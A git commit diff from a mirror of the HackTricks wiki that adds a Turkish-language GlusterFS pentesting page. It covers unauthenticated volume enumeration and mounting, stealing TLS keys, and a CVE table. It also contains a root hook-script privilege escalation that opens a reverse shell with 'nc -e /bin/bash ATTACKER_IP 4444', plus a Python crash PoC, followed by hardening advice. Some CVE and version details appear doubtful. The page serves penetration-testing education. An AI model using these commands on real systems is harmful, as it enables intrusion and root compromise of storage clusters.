mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen
This commit is contained in:
parent
a06441d656
commit
f276a19e8b
@ -1,35 +1,115 @@
|
||||
# 24007-24008-24009-49152 - Pentesting GlusterFS
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Temel Bilgiler
|
||||
## Temel Bilgiler
|
||||
|
||||
**GlusterFS**, birden fazla sunucudan depolamayı bir **birleşik sistem** haline getiren **dağıtık dosya sistemi**dir. **Keyfi ölçeklenebilirlik** sağlar, bu da depolama sunucularını genel dosya sistemini kesintiye uğratmadan kolayca ekleyip çıkarabileceğiniz anlamına gelir. Bu, verileriniz için yüksek **erişilebilirlik** ve **hata toleransı** sağlar. GlusterFS ile dosyalarınıza, altında yatan sunucu altyapısından bağımsız olarak, sanki yerel olarak depolanmış gibi erişebilirsiniz. Birden fazla sunucu arasında büyük miktarda veriyi yönetmek için güçlü ve esnek bir çözüm sunar.
|
||||
|
||||
**Varsayılan portlar**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (sonrası)\
|
||||
Port 49152 için, daha fazla brick kullanmak amacıyla 1 artırılmış portların açık olması gerekir. _Daha önce 24009 portu 49152 yerine kullanılıyordu._
|
||||
**GlusterFS**, birden fazla sunucudan depolamayı tek bir **birleşik ad alanı** içinde birleştiren bir **dağıtık dosya sistemi**dir. Yönetim daemon'u (`glusterd`) varsayılan olarak **24007/TCP** üzerinde dinler ve **49152/TCP**'de başlayan veri düzlemi tuğlalarına talimat verir (her tuğla için bir port, artan şekilde). 9.x sürümlerinden önce **24008–24009/TCP** tuğla taşımak için kullanılıyordu, bu nedenle eski kümelerde bu portlarla karşılaşmaya devam edeceksiniz.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
PORT STATE SERVICE VERSION
|
||||
24007/tcp open glusterd GlusterFS (RPC)
|
||||
49152/tcp open gluster-brick SSL (TLS optional)
|
||||
```
|
||||
## Enumeration
|
||||
> İpucu: 24007, depolama yalnızca düğümleri herhangi bir hacim **yayınlamadığında** bile RPC çağrılarına yanıt verir; bu nedenle hizmet, büyük altyapılar içinde güvenilir bir pivot hedefidir.
|
||||
|
||||
Bu dosya sistemi ile etkileşimde bulunmak için [**GlusterFS istemcisini**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) yüklemeniz gerekiyor. (`sudo apt-get install glusterfs-cli`).
|
||||
## Sayım
|
||||
|
||||
Mevcut hacimleri listelemek ve bağlamak için şunları kullanabilirsiniz:
|
||||
Saldırı kutunuzda istemci yardımcı programlarını kurun:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
|
||||
```
|
||||
Eğer **dosya sistemini bağlamaya çalışırken bir hata alırsanız**, `/var/log/glusterfs/` içindeki logları kontrol edebilirsiniz.
|
||||
1. **Eşler keşfi ve sağlık**
|
||||
```bash
|
||||
# List peers (works without authentication in default setups)
|
||||
gluster --remote-host 10.10.11.131 peer status
|
||||
```
|
||||
2. **Hacim keşfi**
|
||||
```bash
|
||||
# Retrieve the list of all volumes and their configuration
|
||||
gluster --remote-host 10.10.11.131 volume info all
|
||||
```
|
||||
3. **Yetkisiz olarak bağlama**
|
||||
```bash
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
|
||||
```
|
||||
Eğer montaj başarısız olursa, istemci tarafında `/var/log/glusterfs/<vol_name>-<uid>.log` dosyasını kontrol edin. Yaygın sorunlar şunlardır:
|
||||
|
||||
**Sertifikaları belirten hatalar** dosyaları çalarak düzeltilebilir (eğer sisteme erişiminiz varsa):
|
||||
* TLS zorlaması (`option transport.socket.ssl on`)
|
||||
* Adres tabanlı erişim kontrolü (`option auth.allow <cidr>`)
|
||||
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
### Sertifika sorun giderme
|
||||
|
||||
Ve bunları makinenizdeki `/etc/ssl` veya `/usr/lib/ssl` dizinine kaydedebilirsiniz (eğer farklı bir dizin kullanılıyorsa, loglarda "_/usr/lib/ssl/glusterfs.pem_ dosyamızı yükleyemedik" gibi satırlara bakın).
|
||||
Herhangi bir yetkili istemci düğümünden aşağıdaki dosyaları çalın ve bunları `/etc/ssl/` (veya hata günlüğünde gösterilen dizin) içine yerleştirin:
|
||||
```
|
||||
/etc/ssl/glusterfs.pem
|
||||
/etc/ssl/glusterfs.key
|
||||
/etc/ssl/glusterfs.ca
|
||||
```
|
||||
---
|
||||
|
||||
## Bilinen Güvenlik Açıkları (2022-2025)
|
||||
|
||||
| CVE | Etkilenen sürümler | Etki | Notlar |
|
||||
|-----|-------------------|--------|-------|
|
||||
| **CVE-2022-48340** | 10.0–10.4, 11.0 | Ağ üzerinden erişilebilen `dht_setxattr_mds_cbk` içinde kullanımdan sonra serbest bırakma | Uzaktan **DoS** ve muhtemel RCE. 10.4.1 / 11.1'de düzeltildi. |
|
||||
| **CVE-2023-26253** | < 11.0 | FUSE bildirim işleyicisinde sınır dışı okuma | Özel FS işlemleri aracılığıyla uzaktan çökme; kamuya açık PoC mevcut. |
|
||||
| **CVE-2023-3775** | < 10.5 / 11.1 | `gluster_shared_storage` bağlanırken yanlış izin doğrulaması | Herhangi bir kimlik doğrulaması yapılmamış istemcinin yönetici hacmini bağlamasına izin verir – aşağıda açıklanan **priv-esc** ile sonuçlanır. |
|
||||
|
||||
> Her zaman `gluster --version` **her düğümde** kontrol edin; kısmi güncellemelerden sonra heterojen kümeler yaygındır.
|
||||
|
||||
### `gluster_shared_storage`'ı Sömürmek (Yetki Yükseltme)
|
||||
|
||||
Son sürümlerde bile birçok yönetici özel `gluster_shared_storage` hacmini dünya genelinde okunabilir bırakıyor çünkü bu, coğrafi çoğaltmayı basitleştiriyor. Hacim, her düğümde **root** ile çalışan cronjob şablonlarını içerir.
|
||||
```bash
|
||||
# 1. Mount admin volume anonymously
|
||||
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
|
||||
|
||||
# 2. Drop malicious script that gets synchronised cluster-wide
|
||||
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
|
||||
#!/bin/bash
|
||||
nc -e /bin/bash ATTACKER_IP 4444 &
|
||||
EOF
|
||||
chmod +x /tmp/gss/hooks/1/start/post/test.sh
|
||||
|
||||
# 3. Wait until glusterd distributes the hook and executes it as root
|
||||
```
|
||||
Eğer `hooks/1/` mevcut değilse, `/ss_bricks/` için arama yapın – tam yol ana sürüme göre değişiklik gösterebilir.
|
||||
|
||||
### Hizmet Reddi PoC (CVE-2023-26253)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
|
||||
import socket, xdrlib, struct
|
||||
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
|
||||
with socket.create_connection(("10.10.11.131",24007)) as s:
|
||||
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
|
||||
s.send(p.get_buffer())
|
||||
```
|
||||
`glusterfsd` < 11.0 sürümünde script çalıştırmak çökmesine neden olur.
|
||||
|
||||
---
|
||||
|
||||
## Güçlendirme & Tespit
|
||||
|
||||
* **Güncelleme** – mevcut LTS 11.1'dir (Temmuz 2025). Yukarıdaki tüm CVE'ler düzeltilmiştir.
|
||||
* Her brick için **TLS**'yi etkinleştirin:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> transport.socket.ssl on
|
||||
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
|
||||
```
|
||||
* CIDR listeleri ile istemcileri kısıtlayın:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> auth.allow 10.0.0.0/24
|
||||
```
|
||||
* Yönetim portu 24007'yi yalnızca **özel VLAN** üzerinde veya SSH tünelleri aracılığıyla açığa çıkarın.
|
||||
* Logları izleyin: `tail -f /var/log/glusterfs/glusterd.log` ve **audit-log** özelliğini yapılandırın (`volume set <vol> features.audit-log on`).
|
||||
|
||||
---
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [GlusterFS güvenlik duyuruları](https://docs.gluster.org/en/latest/release-notes/#security)
|
||||
* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user